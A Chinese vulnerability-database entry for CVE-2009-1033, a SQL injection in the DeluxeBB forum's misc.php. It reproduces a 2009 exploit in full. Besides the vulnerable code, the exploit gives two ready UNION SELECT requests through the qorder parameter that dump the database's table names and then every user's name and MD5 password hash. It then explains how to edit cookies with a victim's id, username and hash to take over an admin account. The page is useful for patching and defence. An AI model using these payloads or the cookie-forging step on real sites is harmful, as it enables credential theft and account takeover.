DeluxeBB misc.php模块SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117486 漏洞类型 SQL注入
发布时间 2009-03-18 更新时间 2009-04-01
CVE编号 CVE-2009-1033 CNNVD-ID CNNVD-200903-352
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8240
https://cxsecurity.com/issue/WLB-2009030212
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200903-352
|漏洞详情
DeluxeBB是一款基于PHP的论坛程序。DeluxeBB的misc.php模块中没有正确地验证用户所提交的$qorder参数:$getsel=$db->query("SELECT*FROM".$prefix."users".$qfilter."".$qorder."<==".$sort."LIMIT".$pageinfo[0].",".$pageinfo[1]);远程攻击者可以通过提交恶意的查询请求执行SQL注入攻击,导致读取论坛所有注册用户的用户名和口令MD5。
|漏洞EXP
# Author:	girex
# Homepage:	girex.altervista.org
# Date:		18/03/2009

# CMS:		DeluxeBB 1.3 and prior
# site:		deluxebb.com

# NOTE: 	- Works regardless of php.ini settings
		
		- This SQL injection will shows you username and md5
		  of ALL registered users of the site.
		
		- This PoC was written for educational purpose. Use it at your own risk.
		  Author will be not responsible for any damage.

----------------------------------------------------------------------------------------

# Vuln description:
# DeluxeBB suffers many SQL Injections. They are caused, in part, by the extract() function
# used in header.php. I think this is a very bad practice. Attacker doesn't need
# register_globals turned On, and in this case that i'm showing you magic_quotes 
# turned Off too.

# file: misc.php    lines: 461-464

	if($order == "name") { $qorder = "ORDER BY username"; }
	if($order == "regdate") { $qorder = "ORDER BY joineddate"; }
	if($order == "posts") { $qorder = "ORDER BY posts"; }
	if($order == "lastpost") { $qorder = "ORDER BY lastpost"; }

# This sequence of if does not provide an else..

# file: misc.php    line: 490

	$getsel = $db->query("SELECT * FROM ".$prefix."users ".$qfilter." ".$qorder."  <==
		             ".$sort." LIMIT ".$pageinfo[0].",".$pageinfo[1]);

# An attacker can set an arbitrary value to the var $qorder if $order
# has a value not expected.

----------------------------------------------------------------------------------------

# PoC:
# I reccomend to use first of all this SQL Injection to retrieve all table's name
# of the database thanks to informatin_schema. You can use it to retrieve the table prefix
# of the CMS.

GET [target]/[path]/misc.php?sub=memberlist&order=1&
qorder=UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,table_name,16,17,18,19,20,21,22,23,24,25,26,27,28,29+
FROM+information_schema.tables%23&sort=ASC&filter=all&searchuser=.&submit=1

----------------------------------------------------------------------------------------

# Real PoC:
# This SQL Injection will shows you ALL usernames and password hashes of the CMS.

GET [target]/[path]/misc.php?sub=memberlist&order=1&
qorder=UNION+ALL+SELECT+uid,username,3,4,membercode,6,7,8,9,10,11,12,13,14,pass,16,17,18,19,20,21,22,23,24,25,26,27,28,29+
FROM+deluxebb_users%23&sort=ASC&filter=all&searchuser=.&submit=1

----------------------------------------------------------------------------------------

# NOTE: to get admin's access edit your cookies:

# memberid 	=>   	victim's id
# membercookie  =>	victim's username
# memberpw  	=> 	victim's md5

----------------------------------------------------------------------------------------

girex

# milw0rm.com [2009-03-18]
|参考资料

来源:XF
名称:deluxebb-qorder-sql-injection(49313)
链接:http://xforce.iss.net/xforce/xfdb/49313
来源:BID
名称:34174
链接:http://www.securityfocus.com/bid/34174
来源:MILW0RM
名称:8240
链接:http://www.milw0rm.com/exploits/8240
来源:SECUNIA
名称:34365
链接:http://secunia.com/advisories/34365
来源:OSVDB
名称:52788
链接:http://osvdb.org/52788